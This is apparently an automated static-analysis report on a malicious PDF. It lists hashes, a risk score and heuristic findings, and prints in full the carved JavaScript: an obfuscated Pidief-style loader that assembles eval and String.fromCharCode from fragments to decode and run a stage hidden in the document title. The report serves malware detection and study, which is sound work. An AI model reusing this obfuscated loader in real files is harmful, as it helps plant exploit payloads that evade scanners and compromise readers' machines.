Malicious PDF — malware analysis report

Static analysis result for SHA-256 9730cff44c904b28…

MALICIOUS

PDF

45.0 KB First seen: 2012-09-24
MD5: 4749ad4dc2643d9d7e3f6861314fdcac SHA-1: 9a36142e6733d0787e1ad0735b0791112e2a48da SHA-256: 9730cff44c904b28da103f94307f2c88b42fcd4acf227b877c2d78183363649e
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB146 482 bytes
SHA-256: 17a0fe7aa0d4356b0974c408c385fd315f27870ff5d0e4dd4eb29a029d4da965
Preview script
First 1,000 lines of the extracted script
quo='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = v[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
yik=e('ti'+'tle');
s=yik.substr(t.length + 8,3)+'str';
q=yik[s](1,(1,t.length + 7));
fiig=e(v[0].toUpperCase()+'tring.fro'+q);
q=yik[s](14)[qqq]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	rcif = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	quo += fiig(rcif);
}
e(quo);

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